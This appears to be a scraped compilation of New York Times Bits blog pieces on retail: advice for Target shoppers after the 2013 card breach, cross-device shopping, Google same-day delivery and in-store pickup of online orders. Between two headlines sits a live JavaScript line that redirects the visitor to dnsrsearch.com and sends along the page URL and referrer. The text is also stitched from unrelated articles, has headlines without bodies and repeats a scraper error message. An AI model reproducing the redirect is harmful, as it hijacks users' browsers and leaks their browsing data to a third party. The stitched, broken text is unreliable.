For Target’s Shoppers, a New Holiday To-Do List

Q. If you shopped at Target during that period, what should you do now?

A. The first thing you should do is go online and check your credit card or bank statement. If everything looks fine, make a note to go back and check the statements again every few days.

If you see suspicious charges, contact your credit card company or your financial institution right away.

Q. What should you look for, and for how long?

A. With lots of extra purchases being made for the holidays, this can be a tricky time of year to remember what you bought, so it’s important to be extra vigilant.

According to John Ulzheimer, a consumer credit expert for Credit Sesame, the “smart fraudster” won’t go out and buy a dozen big-screen TVs. They will make small purchases, like something for $29, at an inconspicuous venue like a drugstore, to try to avoid any notice.

“What that does is it lets them know they’ve got a valid card that’s still in play, and then they can pepper you to death with it,” Mr. Ulzheimer said. “So even if it’s a small dollar amount, it doesn’t hurt to verify to make sure it was really you.”

A thief might also sit on the card information for a period of months, maybe even years, Mr. Ulzheimer said, waiting for an initial spurt of vigilance to subside, so it is important to pay attention in the long run.

Q. If a thief makes a purchase, will I be liable?

A. In most cases, federal law limits consumer liability to a maximum of $50 in the case of credit card fraud. The ceiling for debit card liability is higher, up to $500. Another concern, according to Beth Givens, director of the Privacy Rights Clearinghouse, is that if money is drained from a consumer’s bank account, it can take weeks for the victim to be made whole again. This can cause a great deal of strain for somebody without a financial cushion.

Q. Should I cancel my credit or debit card?

A. While Mr. Ulzheimer says that at this juncture, people do not need to cancel their cards, other experts disagree.

Eva Velasquez, chief executive of the Identity Theft Resource Center, a nonprofit that helps victims of identity theft, suggests that people who shopped at Target when the data was breached cancel their credit card and get a new one. If shoppers used a debit card, she said they should get a new card and change their PIN — PINs should be changed periodically anyway, so now is a good time to do it.

Q. How do I monitor for identify theft?

A. While experts emphasize that a data breach and identify theft are different, Ms. Velasquez says that the former can increase your chances of the latter.

You can receive a free annual credit report from each of the three major reporting bureaus at AnnualCreditReport.com. You can also add a 90-day fraud alert to your credit file so creditors will know to take extra precautions before approving any credit applications.

Often, Mr. Ulzheimer said, companies that have experienced similar breaches will buy credit monitoring services for affected customers. And people who think they may have been affected can also sign up for free credit monitoring.

The most aggressive thing you can do is put a freeze on your credit, which will make it impossible for anyone — including you — to open new lines of credit. But this can be inconvenient, Ms. Velasquez said, and is not always something that can be undone immediately.

Q. Is it safe to shop at Target now?

A. While Ms. Velasquez says that at this early stage, the answer to that question is a personal decision, others, like Mr. Ulzheimer, say it is perfectly safe to go ahead and do so. If you use cash, experts agree that the answer is yes.

Bits Blog: Target Says Data Was Stolen From 40 Million Shoppers

Bits: PayPal Refreshes Mobile App to Woo Shoppers and Fight Off Rivals

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

As Shoppers Hop From Tablet to PC to Phone, Retailers Try to Adapt

“I do use the iPad to browse sites,” Mr. O’Neil said, but when it comes time to close the deal, he finds it easier to do on a computer.

Many online retailers had visions of holiday shoppers lounging beneath the Christmas tree with their mobile devices in hand, making purchases. The size of the average order on tablets, particularly iPads, tends to be bigger than on PCs. So retailers poured money and marketing into mobile Web sites and apps with rich images and, they thought, easy checkout.

But while visits to e-commerce sites and apps on tablets and phones have nearly doubled since last year, consumers like Mr. O’Neil are more frequently using multiple devices to shop. In many cases, they are more comfortable making the final purchase on a computer, with its bigger screen and keyboard. So retailers are trying to figure out how to appeal to a shopper who may use a cellphone to research products, a tablet to browse the options and a computer to buy.

“I’ve been yelling at customers for two years, saying, ‘Mobile, mobile, mobile,’ ” said Jason Spero, director of mobile sales and strategy at Google. “But the funny thing is, now we’re going to say: ‘Don’t put mobile in a silo. It’s also about the desktop.’ ”

The challenges are daunting, though. It is technically difficult to track consumers as they hop from phone to computer to tablet and back again. This means customers who, say, fill shopping carts on their tablets have to do all the work again on their PCs or other devices. The biggest obstacle, retailers say, is that the tools used to track shoppers on computers — cookies, or bundles of data stored in Web browsers — don’t transfer across devices.

Instead, retailers are figuring out how to sync the experience in other ways, like prompting shoppers to log in on each device. And being able to track people across devices gives retailers more insight into how they shop.

The retailers’ efforts are backed by research. While one-quarter of the visits to e-commerce sites occur on mobile devices, only around 15 percent of purchases do, according to data from I.B.M. According to Google, 85 percent of online shoppers start searching on one device — most often a mobile phone — and make a purchase on another.

At eBags, customers are shopping on their tablets in the evening and returning on their work computers the next day. But eBags has not yet synced the shoppers across devices, so customers must build their shopping carts from scratch if they switch devices.

“That is a blind spot with a lot of sites,” said Peter Cobb, co-founder of eBags. “It is a requirement moving forward.”

At eBay, one-third of the purchases involve mobile devices at some point, even if the final purchase is made on a computer.

At eBay, once shoppers log in on a device, they do not need to log in again. Their information, like shipping and credit card details and saved items, syncs across all their devices. If an eBay shopper is interested in a certain handbag, and saves that search on a computer, eBay will send alerts to her cellphone when a new handbag arrives or an auction is about to end.

“They might discover an item on a phone or tablet, do a saved-search push alert later on some other screen and eventually close on the Web site,” said Steve Yankovich, who runs eBay Mobile. “People are buying and shopping and consuming potentially every waking moment of the day.”

ModCloth, an e-commerce site for women’s clothes, said that while a quarter of its visits come from mobile devices, people are not yet buying there in the same proportion, though they are becoming more comfortable with checking out on those devices.

“She’s visiting us more on the phone, but she’s actually transacting somewhere else,” said Sarah Rose, vice president of product at ModCloth.

For example, a shopper will skim through new arrivals on her phone while on the bus and add items to her wish list, then visit that evening on her tablet to make a purchase, Ms. Rose said.

Bits Blog: Google Is Testing Same-Day Delivery for Shoppers

Google is now in the same-day delivery business. In San Francisco, some people affiliated with Google can buy a product, using their phones or computers, and have it delivered to their homes in a matter of hours.

Plans for the new service have been under way for more than a year. But it recently went live for some Google employees and their friends, according to two people briefed on the service who were not authorized to discuss it because Google has not yet publicly introduced it. At least one national apparel chain is involved, one of these people said. A Google spokesman, Nate Tyler, declined to comment.

Google is just one company tackling same-day delivery. So are Wal-Mart Stores, Amazon.com, eBay and the United States Postal Service.

Though the service propels Google into commerce, the company does not intend to operate warehouses or a shipping service but to team up with retailers and delivery companies. Several San Francisco retailers, including national chains, are participating in the program already.

For shoppers, the service means they can avoid the trouble of driving to the store and some of the wait for items ordered online.

Same-day delivery could help physical retailers, which have been under siege from e-commerce companies that offer the convenience of shopping without leaving home. But online retailers offering same-day delivery could make life even harder for physical retailers, because letting people own something the same day has become physical retailers’ biggest remaining advantage.

The reasons that Google is interested in same-day delivery are less obvious.

Retail ads are a huge portion of Google’s business, but they are under threat from companies like Amazon, where shoppers increasingly go to search for products, bypassing Google. Also responding to the threat from Amazon, Google recently tried to improve its comparison shopping service by charging retailers to list their products there. It says retailers are more likely to list accurate and up-to-date items if they are paying.

Additionally, Google has been trying to bridge the gap between the digital and physical worlds to better understand and profit from mobile ads. On computers, Google and advertisers know if a user clicks on an ad and visits or buys on another Web site. But they lose track of customers who look up a business or product on their phone and then put their phone away, walk into the store and buy something. Online ordering and delivery could help solve that problem.

Merchants and Shoppers Sour on Daily Deal Sites Like Groupon

Sorry, I could not read the content fromt this page.Sorry, I could not read the content fromt this page.

Retailers Encourage Shoppers to Buy Online and Pick Up In-Store

Now some big retailers are taking a new approach to the dreaded showrooming by transforming their stores into extensions of their own online operations. Walmart, Macy’s, Best Buy, Sears, the Container Store and other retailers are stepping up efforts to add Web return centers, pickup locations, free shipping outlets, payment booths and even drive-through customer service centers for online sales to their brick-and-mortar buildings.

“We are living in the age of the customer, and you can either fight these trends that are happening — showrooming is one — or you can embrace them,” said Joel Anderson, the chief executive of Walmart.com for the United States. “We have a lot of assets, but they’re only assets if you embrace the trends of the customers.”

In making the changes, the big retailers are betting the future on shoppers like Sue Sheffer.

Ms. Sheffer, an information technology specialist in Bunker Hill, W.Va., shops for items like clothes, electronics and even coffee online. But she also likes to receive her purchases as soon as possible. When buying shelving from the Container Store, she ordered it on the Web in the morning and picked it up during her 30-minute lunch break that day. And there were no expensive shipping fees.

Fiona Dias, the chief strategy officer at ShopRunner, which coordinates shipping for retailers, called the trend “really an offensive strategy against Amazon and pure-play online retailers.”

“Unfortunately, stores have been portrayed as the ugly stepsister here,” she said. “They do have disadvantages, but the advantages of having a physical footprint are many.”

One advantage is the ability to reach customers who pay with cash.

In April, Walmart began allowing shoppers to order merchandise online and pay for it with cash at a store when they picked it up.

Even without the cash option, in the six years since Walmart has allowed online items to be picked up in stores, customer demand has been high. More than half of the sales from Walmart.com are now picked up at Walmart stores, Mr. Anderson said.

With the cash option, Walmart was trying to appeal to customers who did not have bank accounts or credit cards. Walmart says the majority of in-store purchases are made with cash or debit cards, and that about 15 percent are made with credit cards.

In the first weeks of the cash option, Walmart noticed that a different set of customers also found the service appealing. About 40 percent of the customers who paid with cash when ordering online ended up using noncash options, like a credit card or check, when they arrived at the store. They simply had not wanted to provide that financial information online. “There’s still a large segment of people out there afraid of identity theft or just plain putting their credit card online,” Mr. Anderson said. The service already accounts for 2 percent of Walmart.com’s sales.

Another advantage traditional retailers hold over their online-only counterparts is same-day delivery and returns. Sears, which has long offered store pickup for items bought on the Web, added a drive-through service a few months ago that allows customers to return or exchange purchases without leaving their cars.

Customers meet a clerk waiting outside the Sears, provide a mobile phone receipt or printout, and the merchandise is swapped. “People have a certain need for immediacy — they want something that same day,” said Tom Aiello, a company spokesman. “They want to have their hands on it; they don’t want to wait.”

The Container Store has also been pushing a drive-through service, a reflection of its altered approach to online shopping. Initially, executives viewed the pick-up-in-store feature as a way to draw consumers into stores and encourage customers to buy more. Now, they would rather close the deal on an online order as soon as possible so shoppers do not go elsewhere or forgo the merchandise altogether.

“Especially for that mom that’s got kids in the car and is trying to run five errands today, this allows her to put us on her list with no additional pressure,” said John Thrailkill, a vice president of stores for the Container Store.

He said that the online orders for in-store pickup also tended to be much larger than typical in-store purchases, and that customers who picked up orders in the store visited about 50 percent more often than customers who shopped only in the stores.

Many major stores, including Apple, Nordstrom and Best Buy, let people place orders online and pick up items within a day at a selected location, forgoing shipping charges. The retailers say this option is especially popular with bulky items that do not qualify for free shipping, and for people in a rush. Other places, like Cabela’s and J. C. Penney, offer in-store pickup for online orders, though with a delay of several days.

Macy’s and Nordstrom are going even further by integrating the physical and online merchandise selections.

Nordstrom last year added a feature allowing customers to search an individual store’s inventory via the Web. That follows the company’s decision three years ago to combine its online and offline inventories, so that if nordstrom.com was sold out of a size 8 Nicole Miller shift but a store in Los Angeles had the item in stock, the store would ship the item to the e-commerce customer. Macy’s recently integrated inventory, too. It has 202 branches that can send items to online customers, and will expand that to 292 by the end of the year.

Of course, online-only retailers are also shifting strategies. E-commerce companies that are part of the ShopRunner service, like Blue Nile and eBags, are now shipping to physical locations that are also part of the ShopRunner network, like Toys “R” Us, so that their customers can pick up items in stores, too.

Amazon continues to promote its Prime two-day shipping program so that its shoppers can get speedy deliveries. Alison Jatlow Levy, a retail consultant at Kurt Salmon, said she expected physical stores to go further toward the “showroom” model — carrying lots of products for shoppers to see and test, but asking customers to buy the merchandise via the stores’ Web sites or apps.

She also said there was a straightforward way for e-commerce retailers to respond to the latest moves. “You will definitely start to see online-only players open stores,” she said.